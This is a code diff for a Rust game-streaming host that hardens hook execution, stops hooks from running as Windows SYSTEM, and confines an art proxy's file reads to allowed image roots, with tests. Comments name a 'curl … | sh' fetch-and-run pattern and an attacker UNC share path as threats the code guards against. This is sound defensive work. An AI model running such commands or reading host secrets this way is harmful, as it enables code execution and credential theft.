function never regenerates while both files are non-empty. + pf_paths::create_private_dir(&dir).ok(); let (cert_pem, key_pem) = match ( fs::read_to_string(&cert_path), fs::read_to_string(&key_path), @@ -35,8 +43,8 @@ impl ServerIdentity { let (c, k) = generate()?; // The private key is the trust root for EVERY surface (TLS server cert, pairing // signing, the QUIC identity clients pin) — write it owner-only (0600 / SYSTEM-only - // DACL) so a local user can't read it and impersonate the host. The dir is 0700. - pf_paths::create_private_dir(&dir).ok(); + // DACL) so a local user can't read it and impersonate the host. The dir is already + // 0700 / SYSTEM+Admins from the unconditional hardening above. pf_paths::write_secret_file(&key_path, k.as_bytes()) .with_context(|| format!("write {}", key_path.display()))?; // The cert is public (handed to clients), but write it owner-only too for consistency. diff --git a/crates/punktfunk-host/src/hooks.rs b/crates/punktfunk-host/src/hooks.rs index a980f3ca..2829572b 100644 --- a/crates/punktfunk-host/src/hooks.rs +++ b/crates/punktfunk-host/src/hooks.rs @@ -432,44 +432,124 @@ fn flatten_env(ev: &crate::events::HostEvent) -> Vec<(String, String)> { out } -/// The sshd/sudoers rule (RFC §9.1): when the command's first token is a path to an existing -/// file, refuse to run it unless it is owned by the host user (or root) and not -/// group/world-writable — a world-writable hook script is privilege escalation bait. A bare -/// command name (`systemctl`, `curl`) is left to PATH. +/// The sshd/sudoers rule (RFC §9.1): refuse to run a command that references a script/binary which +/// is group/world-writable, or owned by neither the host user nor root — a world-writable hook +/// script is privilege-escalation bait. A bare command name (`systemctl`, `curl`) is left to PATH. +/// +/// **This is a hygiene rule, not an authorization gate**, and the distinction matters: it +/// constrains *who owns the file being run*, never *what the command does*. `curl … | sh` and +/// `python3 -c '…'` are unconstrained by construction, and `/bin/sh -c ''` passes because +/// `/bin/sh` is root-owned. Whoever may WRITE a hook already has command execution as the host +/// user — which is why writing them is admin-only. A pass here does not mean "this command is +/// safe", and nothing should be granted on the strength of it. +/// +/// It checks EVERY absolute-path token, not just the first (2026-08-05 review L-12). Looking only +/// at `cmd.split_whitespace().next()` meant `bash /opt/x/hook.sh`, `sh -c /tmp/x` and any quoted +/// path skipped the check entirely — so the interpreter was vetted and the script it ran was not, +/// which is backwards: the script is the part an attacker can plant. #[cfg(unix)] fn exec_path_check(cmd: &str) -> Result<(), String> { use std::os::unix::fs::MetadataExt; - let Some(first) = cmd.split_whitespace().next() else { + if cmd.split_whitespace().next().is_none() { return Err("empty command".into()); - }; - if !first.starts_with('/') { - return Ok(()); - } - let meta = match std::fs::metadata(first) { - Ok(m) => m, - Err(_) => return Ok(()), // not an existing file — the shell will report it - }; - if !meta.is_file() { - return Ok(()); } // SAFETY: geteuid has no preconditions and touches no memory. let euid = unsafe { libc::geteuid() }; - if meta.uid() != euid && meta.uid() != 0 { - return Err(format!( - "{first} is owned by uid {} (host runs as uid {euid}) — hook scripts must be \ - owned by the operator or root", - meta.uid() - )); - } - if meta.mode() & 0o022 != 0 { - return Err(format!( - "{first} is group/world-writable (mode {:o}) — chmod go-w it first", - meta.mode() & 0o7777 - )); + for raw in cmd.split_whitespace() { + // Tolerate the quoting a hand-written command line carries — a path that is absolute only + // after unquoting is exactly as plantable as a bare one. + let token = raw.trim_matches(|c| c == '"' || c == '\''); + if !token.starts_with('/') { + continue; + } + let meta = match std::fs::metadata(token) { + Ok(m) => m, + Err(_) => continue, // not an existing file — the shell will report it + }; + if !meta.is_file() { + continue; + } + if meta.uid() != euid && meta.uid() != 0 { + return Err(format!( + "{token} is owned by uid {} (host runs as uid {euid}) — hook scripts must be \ + owned by the operator or root", + meta.uid() + )); + } + if meta.mode() & 0o022 != 0 { + return Err(format!( + "{token} is group/world-writable (mode {:o}) — chmod go-w it first", + meta.mode() & 0o7777 + )); + } } Ok(()) } +/// Whether this process is running as `NT AUTHORITY\SYSTEM` (S-1-5-18) — i.e. as the SCM service +/// rather than as the operator's own console process. +/// +/// Used to decide whether the in-process hook fallback is acceptable: as the operator it is the +/// privilege they already have, as SYSTEM it is an elevation the hook contract forbids +/// (2026-08-05 review L-13). Fails CLOSED — an unreadable token is treated as SYSTEM, because the +/// consequence of guessing wrong in that direction is a skipped hook, and in the other direction +/// it is a SYSTEM command. +#[cfg(windows)] +fn running_as_system() -> bool { + use windows::Win32::Foundation::HANDLE; + use windows::Win32::Security::{ + CreateWellKnownSid, EqualSid, GetTokenInformation, TokenUser, WinLocalSystemSid, PSID, + SECURITY_MAX_SID_SIZE, TOKEN_QUERY, TOKEN_USER, + }; + use windows::Win32::System::Threading::{GetCurrentProcess, OpenProcessToken}; + + let mut token = HANDLE::default(); + // SAFETY: pseudo-handle from GetCurrentProcess; `token` is a live out-param. + if unsafe { OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut token) }.is_err() { + return true; // fail closed + } + let mut buf = [0u8; 256]; + let mut len = 0u32; + // SAFETY: `buf` is a writable local of the length passed; `len` is a live out-param. + let got = unsafe { + GetTokenInformation( + token, + TokenUser, + Some(buf.as_mut_ptr().cast()), + buf.len() as u32, + &mut len, + ) + }; + // SAFETY: the token handle came from OpenProcessToken and is not used after this. + unsafe { + let _ = windows::Win32::Foundation::CloseHandle(token); + } + if got.is_err() { + return true; // fail closed + } + let mut system = [0u8; SECURITY_MAX_SID_SIZE as usize]; + let mut cb = system.len() as u32; + // SAFETY: the buffer is SECURITY_MAX_SID_SIZE, the documented maximum SID size. + if unsafe { + CreateWellKnownSid( + WinLocalSystemSid, + None, + Some(PSID(system.as_mut_ptr().cast())), + &mut cb, + ) + } + .is_err() + { + return true; // fail closed + } + // SAFETY: `buf` holds a TOKEN_USER written by GetTokenInformation; its `User.Sid` points into + // the same buffer, and both SIDs are valid for this comparison. + unsafe { + let tu = &*(buf.as_ptr() as *const TOKEN_USER); + EqualSid(tu.User.Sid, PSID(system.as_mut_ptr().cast())).is_ok() + } +} + #[cfg(not(unix))] fn exec_path_check(_cmd: &str) -> Result<(), String> { // Windows: hooks.json lives in the SYSTEM/Admins-DACL'd config dir and the command runs in @@ -580,7 +660,33 @@ fn run_hook_process( // report "ran" (prep `undo`s stay armed). true } + Err(e) if running_as_system() => { + // NO in-process fallback when we are SYSTEM. + // + // `spawn_in_active_session` fails whenever there is no interactive user — pre-login, at + // boot, on a logged-off box — and the fallback below then ran the operator's command + // line through `cmd.exe /C` IN THIS PROCESS. As the SCM service that process is + // LocalSystem, so a hook the module contract promises runs "in the interactive session, + // never SYSTEM" quietly became a SYSTEM command, at the exact moments nobody is watching + // the screen, with no ownership check on the script (`exec_path_check` is a no-op on + // Windows) — 2026-08-05 review L-13. + // + // Refusing is the honest behaviour: the contract says these run as the user, and if + // there is no user there is nothing to run them as. A hook that must run without a + // logged-in user belongs in a service, not here. + tracing::warn!( + cmd = %cmd, + error = %format!("{e:#}"), + "hook SKIPPED: no interactive user session to run it in, and this host is SYSTEM — \ + hooks run as the logged-in user by design and are never elevated to SYSTEM" + ); + let _ = std::fs::remove_file(&json_path); + false + } Err(e) => { + // Not SYSTEM (a hand-run `punktfunk-host serve` in the operator's own console): running + // in-process is the same privilege the operator already has, which is the whole trust + // model for hooks. tracing::debug!(error = %format!("{e:#}"), "interactive-session spawn unavailable — running hook in-console"); let mut ok = false; diff --git a/crates/punktfunk-host/src/library.rs b/crates/punktfunk-host/src/library.rs index a1eb1105..a1a24ffd 100644 --- a/crates/punktfunk-host/src/library.rs +++ b/crates/punktfunk-host/src/library.rs @@ -15,7 +15,7 @@ pub(crate) use anyhow::{Context, Result}; pub(crate) use serde::{Deserialize, Serialize}; pub(crate) use sha2::{Digest, Sha256}; -pub(crate) use std::collections::HashSet; +pub(crate) use std::collections::{BTreeMap, HashSet}; pub(crate) use std::path::{Path, PathBuf}; pub(crate) use std::time::{SystemTime, UNIX_EPOCH}; pub(crate) use utoipa::ToSchema; @@ -136,6 +136,29 @@ impl GameMeta { } } +/// What a library entry *is* — an ordinary title, or the launcher application itself (Steam Big +/// Picture, Heroic, Playnite fullscreen). Purely a presentation hint: a launcher entry launches, +/// leases and lists exactly like a game (design D4), and clients that don't know the field render it +/// as a plain tile. Serde-default `game` and skip-serialized when default, so the wire is unchanged +/// for every entry that doesn't opt in. +#[derive(Clone, Copy, Debug, Default, PartialEq, Eq, Serialize, Deserialize, ToSchema)] +#[serde(rename_all = "lowercase")] +pub enum GameRole { + /// An ordinary title. + #[default] + Game, + /// The launcher application itself. + Launcher, +} + +impl GameRole { + /// Whether this is the serde default (`game`) — the `skip_serializing_if` predicate that keeps + /// the field off the wire for the overwhelming majority of entries. + pub(crate) fn is_game(&self) -> bool { + matches!(self, Self::Game) + } +} + /// One title in the unified library, regardless of which store it came from. #[derive(Clone, Debug, Serialize, ToSchema)] pub struct GameEntry { @@ -147,6 +170,9 @@ pub struct GameEntry { pub store: String, pub title: String, pub art: Artwork, + /// Whether this entry is a game or the launcher itself — see [`GameRole`]. + #[serde(default, skip_serializing_if = "GameRole::is_game")] + pub role: GameRole, /// How the host would launch it, when known. #[serde(skip_serializing_if = "Option::is_none")] pub launch: Option, @@ -228,12 +254,26 @@ impl ArtKind { } } -/// The full library: every *enabled* store's titles merged + the custom entries, sorted by title. -/// The operator's scanner toggles (`scanners.rs`) gate each installed-store provider; the custom -/// store is not a scanner and always contributes. +/// The full library: every *enabled* source's titles merged + the custom entries, sorted by title. +/// +/// Two independent gates run here, both at READ time so neither ever mutates stored state: +/// +/// * **The operator's source toggles** (`scanners.rs`, persisted as a disabled-set in +/// `library-scanners.json`) hide a source's titles from every surface — this grid, native clients, +/// `/applist`, and launch resolution. They apply to built-in scanners *and* to plugin sources, +/// which is what lets one toggle keep working verbatim across the whole migration: the ids match +/// (provider id = claimed store id = old scanner id). +/// * **Store claims** (D2): while a library plugin holds a store's claim, the matching built-in +/// scanner is skipped so the two never double-list the same titles during the bridge releases. +/// Removing the plugin releases the claim and the built-in comes straight back. +/// +/// The user-curated custom store is not a source and always contributes. pub fn all_games() -> Vec { let off = disabled_scanners(); - let on = |id: &str| !off.contains(id); + let claimed = claimed_stores(); + // A built-in scanner runs when the operator hasn't disabled it AND no plugin has claimed its + // store out from under it. + let on = |id: &str| !off.contains(id) && !claimed.contains_key(id); let mut games = Vec::new(); if on("steam") { games.extend(SteamProvider.list()); @@ -262,7 +302,15 @@ pub fn all_games() -> Vec { games.extend(XboxProvider.list()); } } - games.extend(load_custom().into_iter().map(GameEntry::from)); + // Stored entries: manual ones always contribute; a provider's are subject to the same source + // toggle a built-in scanner is (WP2.6). The plugin may keep reconciling while it is off — the + // entries stay stored and simply aren't surfaced, exactly like a disabled scanner's titles. + games.extend( + load_custom() + .into_iter() + .filter(|e| !source_id_for(e).is_some_and(|src| off.contains(src))) + .map(GameEntry::from), + ); games.sort_by_key(|g| g.title.to_lowercase()); games } diff --git a/crates/punktfunk-host/src/library/art.rs b/crates/punktfunk-host/src/library/art.rs index 9536c1fa..0db6660e 100644 --- a/crates/punktfunk-host/src/library/art.rs +++ b/crates/punktfunk-host/src/library/art.rs @@ -147,45 +147,275 @@ pub(crate) fn fetch_image(url: &str) -> Option<(Vec, String)> { /// A stored [`Artwork`] value that is a **local filesystem path** to an image on the host — as /// opposed to an `http(s)`/`data:` URL or an already-relative host proxy path. Provider plugins that -/// run on the host (e.g. the Playnite sync plugin) set these: the reconcile payload stays tiny -/// (paths, not inlined bytes, so it scales to thousands of titles) and the host serves the bytes -/// through the art proxy, exactly like Steam's cache art. Windows-shaped only (`C:\…`, `C:/…`, or a -/// `\\server\share` UNC) — Playnite, the only local-art provider, is Windows-only, and this keeps the -/// check from ever mistaking the `/api/…` proxy path (or a POSIX abs path) for a local file. +/// run on the host (the Playnite sync plugin, and every library scanner plugin) set these: the +/// reconcile payload stays tiny (paths, not inlined bytes, so it scales to thousands of titles) and +/// the host serves the bytes through the art proxy, exactly like Steam's cache art. +/// +/// Four accepted shapes: +/// * `file://…` — the **documented plugin contract** ([`file_url_to_path`]), unambiguous on every +/// platform, and what `@punktfunk/plugin-kit/library` emits. +/// * `C:\…` / `C:/…` drive-absolute and `\\server\share` UNC — Windows bare paths, kept for +/// Playnite back-compat (it predates the `file://` contract). +/// * POSIX absolute (`/home/u/covers/x.jpg`) — Lutris covers and Steam's `librarycache`. +/// +/// The POSIX widening is why the two `/`-leading shapes the **host itself emits** must be excluded +/// explicitly: its own art-proxy path (`/api/v1/library/art/…`, which [`proxy_local_art`] writes and +/// which must survive a second pass unchanged) and a protocol-relative URL (`//cdn/…`, what GOG's and +/// Microsoft's catalogs return — see [`abs_url`]). Mistaking either for a file would break the proxy +/// round-trip or silently drop CDN art. pub fn is_local_art_path(v: &str) -> bool { if v.starts_with("http://") || v.starts_with("https://") || v.starts_with("data:") { return false; } + if v.starts_with("file://") { + return true; + } let b = v.as_bytes(); - (b.len() >= 3 && b[1] == b':' && (b[2] == b'\\' || b[2] == b'/')) || v.starts_with("\\\\") + // Windows drive-absolute (`C:\…`, `C:/…`) or UNC (`\\server\share`). + if (b.len() >= 3 && b[1] == b':' && (b[2] == b'\\' || b[2] == b'/')) || v.starts_with("\\\\") { + return true; + } + // POSIX absolute, minus the host's own `/`-leading shapes (see the doc comment). + v.starts_with('/') && !v.starts_with("//") && !v.starts_with("/api/") +} + +/// Turn a `file://` art value into a plain filesystem path, percent-decoding it. The kit emits +/// properly encoded URLs (`file:///home/u/My%20Cover.jpg`); a raw path that happens to contain no +/// `%` round-trips either way, which keeps hand-written plugin payloads working. +/// +/// `file:///home/u/c.jpg` → `/home/u/c.jpg`; `file:///C:/covers/c.jpg` → `C:/covers/c.jpg` (Windows +/// drive letters arrive after the empty authority's slash); a NON-empty authority +/// (`file://nas/share/c.jpg`) is a UNC reference → `\\nas\share\c.jpg`. Anything without the prefix +/// is returned untouched. +fn file_url_to_path(v: &str) -> std::borrow::Cow<'_, str> { + use std::borrow::Cow; + let Some(rest) = v.strip_prefix("file://") else { + return Cow::Borrowed(v); + }; + let decoded = percent_decode(rest); + match decoded.strip_prefix('/') { + // `file:///…` — the empty-authority form. A Windows drive letter (`/C:/…`) loses the slash; + // a POSIX path keeps it. + Some(after) if after.as_bytes().get(1) == Some(&b':') => Cow::Owned(after.to_string()), + Some(_) => Cow::Owned(decoded), + // `file://server/share/…` — a UNC path in URL clothing. + None => Cow::Owned(format!("\\\\{}", decoded.replace('/', "\\"))), + } +} + +/// Percent-decode `%XX` escapes. Invalid escapes are left verbatim (a bare `%` in a real path is far +/// likelier than a malformed URL from our own kit), and the result is only ever used as a path that +/// must then exist as a regular file — so a wrong decode degrades to "no art", never to a wrong read. +fn percent_decode(s: &str) -> String { + let b = s.as_bytes(); + let mut out = Vec::with_capacity(b.len()); + let mut i = 0; + while i < b.len() { + if b[i] == b'%' && i + 2 < b.len() { + let hex = |c: u8| (c as char).to_digit(16); + if let (Some(hi), Some(lo)) = (hex(b[i + 1]), hex(b[i + 2])) { + out.push((hi * 16 + lo) as u8); + i += 3; + continue; + } + } + out.push(b[i]); + i += 1; + } + String::from_utf8(out).unwrap_or_else(|_| s.to_string()) +} + +/// The filesystem roots the art proxy is allowed to read from. +/// +/// The proxy runs in the **host process** — LocalSystem on Windows — and both the path and the +/// read-back are reachable from the plugin lane, which runs as the much weaker LocalService. Without +/// a root, "serve this entry's cover" is "read any file on the box as SYSTEM" (2026-08-05 review +/// H-2): `mgmt-token`, `key.pem`, the SAM hive. So the value is confined here, at the one place +/// bytes are read, rather than trusted because of where it was written. +/// +/// Default: the users base (`C:\Users`), which is where every launcher keeps its art cache — +/// Playnite, the only local-art provider, stores covers under `%APPDATA%\Playnite`. Derived from +/// `%PUBLIC%`'s parent because the host runs as SYSTEM, whose own `%USERPROFILE%` is +/// `…\config\systemprofile` and tells us nothing about where the operator's launchers live. +/// `PUNKTFUNK_LIBRARY_ART_ROOTS` (`;`-separated) replaces the default for an operator whose library +/// is on another drive. +fn art_roots() -> Vec { + if let Some(configured) = std::env::var_os("PUNKTFUNK_LIBRARY_ART_ROOTS") { + return std::env::split_paths(&configured) + .filter(|p| !p.as_os_str().is_empty()) + .collect(); + } + let mut roots = Vec::new(); + // `%PUBLIC%` is `C:\Users\Public` on every supported Windows; its parent is the users base. + if let Some(public) = std::env::var_os("PUBLIC") { + if let Some(base) = PathBuf::from(public).parent() { + roots.push(base.to_path_buf()); + } + } + if roots.is_empty() { + if let Some(drive) = std::env::var_os("SystemDrive") { + roots.push(PathBuf::from(drive).join("Users")); + } + } + // POSIX: the user's home, which is the exact analogue of the Windows users base above — and + // where every launcher this host reads art from actually keeps it. Steam's + // `appcache/librarycache` and `userdata//config/grid`, Lutris's `coverart`/`banners` (both + // the `~/.local/share` and `~/.cache` copies), Heroic's caches, and all three Flatpak + // `~/.var/app/…` variants are under it. + // + // Needed because `is_local_art_path` now classifies POSIX absolute paths as local art (the + // extracted Lutris/Steam plugins emit them). Before that widening this list was legitimately + // empty here: the only local-art provider was Playnite, which is Windows-only, so nothing on a + // POSIX host was ever classified local and the confinement had nothing to confine. Leaving it + // empty now would not be "secure by default" — it would silently serve no plugin art at all. + // + // Breadth matches what Windows already ships, and it is not the load-bearing control: a value + // still has to carry an image extension, canonicalize to a real regular file inside a root, + // sit outside the host config dir, and CONTAIN image bytes. `PUNKTFUNK_LIBRARY_ART_ROOTS` + // narrows or relocates this for a library that lives elsewhere. + #[cfg(not(windows))] + if let Some(home) = std::env::var_os("HOME") { + let home = PathBuf::from(home); + if !home.as_os_str().is_empty() { + roots.push(home); + } + } + roots +} + +/// Whether `path` resolves inside one of [`art_roots`] and outside the host config dir. +/// +/// Canonicalizes first, so a junction/symlink pointing out of the root is resolved before the +/// containment test rather than after it. The config-dir exclusion is unconditional — it holds even +/// if an operator's `PUNKTFUNK_LIBRARY_ART_ROOTS` were to contain it — because that directory is +/// where every host secret lives. +fn art_path_is_confined(path: &Path) -> bool { + // A UNC value (`\\attacker\share\a.png`) is refused outright: reading it would coerce the host's + // machine account into outbound SMB authentication to a peer of the caller's choosing. + if path.to_string_lossy().starts_with(r"\\") { + return false; + } + let Ok(real) = path.canonicalize() else { + return false; + }; + if let Ok(config) = pf_paths::config_dir().canonicalize() { + if real.starts_with(&config) { + return false; + } + } + art_roots() + .iter() + .filter_map(|r| r.canonicalize().ok()) + .any(|root| real.starts_with(&root)) +} + +/// Sniff an image container from its leading bytes → the content type to serve. `None` for anything +/// that is not a recognized image. +/// +/// The proxy serves what the bytes ARE, not what the extension claims, and refuses to serve at all +/// when they are not an image — which is what keeps an extensionless secret like `mgmt-token` (or a +/// `key.pem` renamed `cover.png`) from being returned as `application/octet-stream`. +fn sniff_image_type(bytes: &[u8]) -> Option<&'static str> { + let starts = |sig: &[u8]| bytes.starts_with(sig); + if starts(&[0x89, b'P', b'N', b'G', 0x0D, 0x0A, 0x1A, 0x0A]) { + return Some("image/png"); + } + if starts(&[0xFF, 0xD8, 0xFF]) { + return Some("image/jpeg"); + } + if starts(b"GIF87a") || starts(b"GIF89a") { + return Some("image/gif"); + } + if starts(b"RIFF") && bytes.len() >= 12 && &bytes[8..12] == b"WEBP" { + return Some("image/webp"); + } + if starts(b"BM") { + return Some("image/bmp"); + } + if starts(&[0x00, 0x00, 0x01, 0x00]) { + return Some("image/x-icon"); + } + // TGA has no magic number. Validate the fixed header fields instead (colour-map type is 0/1, + // image type is one of the six defined codes) — enough that no plausible secret passes. + if bytes.len() >= 18 + && matches!(bytes[1], 0 | 1) + && matches!(bytes[2], 0 | 1 | 2 | 3 | 9 | 10 | 11) + { + return Some("image/x-tga"); + } + None +} + +/// Whether a local art path is servable at all: known image extension, inside an allowed root. The +/// write-time half of the art confinement — [`validate_art_paths`] refuses to persist a value this +/// rejects, so an out-of-root path never reaches the catalog in the first place, and +/// [`local_art_bytes`] re-checks at read time so an entry written before this existed is still safe. +pub fn art_path_is_servable(value: &str) -> bool { + let p = Path::new(value); + let ext_ok = p + .extension() + .and_then(|e| e.to_str()) + .map(|e| e.to_ascii_lowercase()) + .is_some_and(|e| { + matches!( + e.as_str(), + "jpg" | "jpeg" | "png" | "webp" | "gif" | "bmp" | "ico" | "tga" + ) + }); + ext_ok && art_path_is_confined(p) +} + +/// Reject any **local-file** art value that the proxy would refuse to serve, so an unservable path +/// (out of root, not an image, a UNC share) can never be persisted. URLs and already-proxied paths +/// are not this function's business and pass through. `Err` carries the offending field name. +pub fn validate_art_paths(art: &Artwork) -> Result<(), String> { + for (field, value) in [ + ("portrait", &art.portrait), + ("hero", &art.hero), + ("logo", &art.logo), + ("header", &art.header), + ] { + let Some(v) = value.as_deref() else { continue }; + if is_local_art_path(v) && !art_path_is_servable(v) { + return Err(format!( + "art.{field}: local art must be an image file (jpg/png/webp/gif/bmp/ico/tga) inside \ + an allowed art root — set PUNKTFUNK_LIBRARY_ART_ROOTS if the library lives \ + elsewhere, or send an http(s) URL instead" + )); + } + } + Ok(()) } /// Read a local image file into `(bytes, content-type)` for the art proxy. `None` if it isn't an -/// existing regular file, is empty, or exceeds 16 MiB (a cover never approaches that; the cap bounds -/// host memory). Content-type is guessed from the extension. +/// existing regular file, is empty, exceeds 16 MiB (a cover never approaches that; the cap bounds +/// host memory), resolves outside the allowed art roots ([`art_path_is_confined`]), or does not +/// actually contain an image ([`sniff_image_type`]). +/// +/// This is the single place local art bytes are read — the mgmt art proxy and the GameStream +/// `/appasset` proxy both land here — so the confinement holds for every caller. +/// +/// A `file://` value is converted to a path FIRST ([`file_url_to_path`]), so the confinement check +/// and the read see the same decoded path. Ordering matters: percent-decoding before +/// canonicalization is what stops a `%2e%2e` escape being invisible to the traversal check. pub fn local_art_bytes(path: &str) -> Option<(Vec, String)> { - let p = std::path::Path::new(path); + let path = file_url_to_path(path); + if !art_path_is_servable(&path) { + tracing::debug!( + path = %path, + "art proxy: refusing a path outside the allowed art roots" + ); + return None; + } + let p = std::path::Path::new(&*path); let meta = std::fs::metadata(p).ok()?; if !meta.is_file() || meta.len() == 0 || meta.len() > 16 * 1024 * 1024 { return None; } - let ctype = match p - .extension() - .and_then(|e| e.to_str()) - .map(|e| e.to_ascii_lowercase()) - .as_deref() - { - Some("jpg" | "jpeg") => "image/jpeg", - Some("png") => "image/png", - Some("webp") => "image/webp", - Some("gif") => "image/gif", - Some("bmp") => "image/bmp", - Some("ico") => "image/x-icon", - Some("tga") => "image/x-tga", - _ => "application/octet-stream", - } - .to_string(); - Some((std::fs::read(p).ok()?, ctype)) + let bytes = std::fs::read(p).ok()?; + // Serve what the bytes ARE. A file that is not an image is not served at all. + let ctype = sniff_image_type(&bytes)?; + Some((bytes, ctype.to_string())) } /// Resolve one art value to bytes for the Moonlight `/appasset` proxy: a local host file @@ -221,9 +451,22 @@ pub fn proxy_local_art(id: &str, art: &mut Artwork) { /// `(bytes, content-type)`. Resolves the id against the host's OWN library. Blocking — call off the /// async runtime (e.g. `spawn_blocking`). pub fn fetch_box_art(id: &str) -> Option<(Vec, String)> { - // Steam's `Artwork` fields are now relative proxy paths (see `steam_art`) the *client* resolves - // against the host — meaningless to `fetch_image`, which expects an absolute URL. Resolve - // those kinds directly instead of going through the URL fields. + // Same resolution order as the management art proxy (WP1.2): the stored catalog first, for ANY + // id, so a library plugin's entries resolve without the warmer knowing its store. + if let Some(entry) = entry_for_library_id(id) { + return [ + ArtKind::Portrait, + ArtKind::Header, + ArtKind::Hero, + ArtKind::Logo, + ] + .into_iter() + .filter_map(|kind| art_field(&entry.art, kind)) + .find_map(|v| resolve_art_bytes(&v)); + } + // Legacy in-host Steam scanner: its `Artwork` fields are relative proxy paths (see `steam_art`) + // the *client* resolves against the host — meaningless to `fetch_image`, which expects an + // absolute URL. Resolve those kinds directly instead of going through the URL fields. if let Some(appid) = id .strip_prefix("steam:") .and_then(|s| s.parse::().ok()) @@ -237,6 +480,7 @@ pub fn fetch_box_art(id: &str) -> Option<(Vec, String)> { .into_iter() .find_map(|kind| steam_art_bytes(appid, kind)); } + // The remaining in-host scanners (heroic/lutris/epic/gog/xbox) carry absolute CDN URLs. let g = all_games().into_iter().find(|g| g.id == id)?; [g.art.portrait, g.art.header, g.art.hero, g.art.logo] .into_iter() @@ -335,19 +579,60 @@ mod tests { assert!(fetch_image("data:image/png;base64,").is_none()); } + /// The full accept/exclude table (WP1.2). The exclusions are the load-bearing half: two of the + /// three `/`-leading shapes here are emitted by the host ITSELF, so a POSIX rule that swallowed + /// them would break the proxy round-trip and silently drop CDN art. #[test] fn local_art_path_detection() { // Windows-shaped local paths a provider (Playnite) would store. assert!(is_local_art_path(r"C:\Users\me\cover.jpg")); assert!(is_local_art_path("C:/Users/me/cover.png")); assert!(is_local_art_path(r"\\nas\share\art.jpg")); - // URLs and the host proxy path are NOT local files. + // The `file://` plugin contract, on both platform shapes. + assert!(is_local_art_path("file:///home/u/covers/x.jpg")); + assert!(is_local_art_path("file:///C:/covers/x.jpg")); + // POSIX absolute — lutris covers, steam librarycache. + assert!(is_local_art_path("/home/u/.cache/lutris/coverart/x.jpg")); + assert!(is_local_art_path("/var/lib/steam/librarycache/570/h.jpg")); + // URLs are NOT local files. assert!(!is_local_art_path("https://cdn/x.jpg")); assert!(!is_local_art_path("http://host/x.jpg")); assert!(!is_local_art_path("data:image/png;base64,AAAA")); + // …nor is the host's OWN art-proxy path (it must survive a second `proxy_local_art` pass). assert!(!is_local_art_path( "/api/v1/library/art/custom:abc/portrait" )); + assert!(!is_local_art_path("/api/v1/library/art/steam:570/hero")); + // …nor a protocol-relative CDN URL (what GOG / the MS catalog return — see `abs_url`). + assert!(!is_local_art_path("//images.gog.com/abc_vertical.jpg")); + // A relative path is not absolute — nothing to serve. + assert!(!is_local_art_path("covers/x.jpg")); + assert!(!is_local_art_path("")); + } + + #[test] + fn file_url_converts_to_a_path_and_percent_decodes() { + assert_eq!(file_url_to_path("file:///home/u/c.jpg"), "/home/u/c.jpg"); + // Percent-encoded spaces — what a correct URL encoder emits for a real-world cover path. + assert_eq!( + file_url_to_path("file:///home/u/My%20Games/c%2Bx.jpg"), + "/home/u/My Games/c+x.jpg" + ); + // Windows drive letters arrive after the empty authority's slash and lose it. + assert_eq!( + file_url_to_path("file:///C:/covers/c.jpg"), + "C:/covers/c.jpg" + ); + // A non-empty authority is a UNC reference. + assert_eq!( + file_url_to_path("file://nas/share/c.jpg"), + r"\\nas\share\c.jpg" + ); + // Non-`file://` values are returned untouched (bare paths still work). + assert_eq!(file_url_to_path("/home/u/c.jpg"), "/home/u/c.jpg"); + assert_eq!(file_url_to_path(r"C:\c.jpg"), r"C:\c.jpg"); + // A lone `%` (a legal path character) is not mangled into a decode failure. + assert_eq!(file_url_to_path("file:///home/100%.jpg"), "/home/100%.jpg"); } #[test] @@ -371,16 +656,187 @@ mod tests { ); } + /// A POSIX local cover — the shape the lutris and steam plugins emit — is classified as local + /// art and rewritten to the proxy path. This is the case G4 blocked (Lutris art was inlined as + /// `data:` URLs and blew the 2 MB body limit at 49 covers). + /// + /// Deliberately free of filesystem and env: the READ half is confined, and lives in + /// `local_art_bytes_is_confined_and_image_only` so that only ONE test mutates + /// `PUNKTFUNK_LIBRARY_ART_ROOTS` (cargo runs these in parallel threads of one process, so two + /// would race). #[test] - fn local_art_bytes_reads_a_real_file() { + fn posix_local_art_is_classified_and_proxied() { + let path = if cfg!(windows) { + r"C:\covers\cover.jpg".to_string() + } else { + "/home/u/.cache/lutris/coverart/cover.jpg".to_string() + }; + let mut art = Artwork { + portrait: Some(path.clone()), + hero: Some(format!("file://{path}")), + logo: Some("https://cdn/l.png".into()), + header: None, + }; + assert!(is_local_art_path(&path)); + proxy_local_art("lutris:42", &mut art); + assert_eq!( + art.portrait.as_deref(), + Some("/api/v1/library/art/lutris:42/portrait") + ); + assert_eq!( + art.hero.as_deref(), + Some("/api/v1/library/art/lutris:42/hero"), + "a file:// value is local art too" + ); + assert_eq!(art.logo.as_deref(), Some("https://cdn/l.png")); + + // Re-running the rewrite is a no-op — the emitted proxy path must not be mistaken for a file. + let before = art.portrait.clone(); + proxy_local_art("lutris:42", &mut art); + assert_eq!(art.portrait, before); + } + + const PNG: &[u8] = &[0x89, b'P', b'N', b'G', 0x0D, 0x0A, 0x1A, 0x0A, 0, 0, 0, 13]; + + /// The art proxy reads bytes in the HOST process (LocalSystem on Windows) from a path the + /// plugin lane can write — so what it will and will not read IS the security boundary + /// (2026-08-05 review H-2). Confinement, extension, and content are all load-bearing. + #[test] + fn local_art_bytes_is_confined_and_image_only() { let dir = std::env::temp_dir().join(format!("pf-art-test-{}", std::process::id())); + let outside = std::env::temp_dir().join(format!("pf-art-out-{}", std::process::id())); std::fs::create_dir_all(&dir).unwrap(); - let f = dir.join("cover.png"); - std::fs::write(&f, [1u8, 2, 3, 4]).unwrap(); - let (bytes, ctype) = local_art_bytes(f.to_str().unwrap()).expect("reads file"); - assert_eq!(bytes, vec![1, 2, 3, 4]); + std::fs::create_dir_all(&outside).unwrap(); + // Confine the proxy to `dir` for the duration of this test. + std::env::set_var("PUNKTFUNK_LIBRARY_ART_ROOTS", &dir); + + // A real image inside the root: served, with the content type SNIFFED from the bytes. + let cover = dir.join("cover.png"); + std::fs::write(&cover, PNG).unwrap(); + let (bytes, ctype) = local_art_bytes(cover.to_str().unwrap()).expect("reads a real cover"); + assert_eq!(bytes, PNG); assert_eq!(ctype, "image/png"); + + // A secret is not served, however it is dressed up. This is the H-2 primitive: the plugin + // writes the path, the host reads it as SYSTEM, and `mgmt-token` is full admin. + let secret = dir.join("mgmt-token"); + std::fs::write(&secret, b"super-secret-admin-token").unwrap(); + assert!( + local_art_bytes(secret.to_str().unwrap()).is_none(), + "an extensionless secret must not be served as application/octet-stream" + ); + let disguised = dir.join("mgmt-token.png"); + std::fs::write(&disguised, b"super-secret-admin-token").unwrap(); + assert!( + local_art_bytes(disguised.to_str().unwrap()).is_none(), + 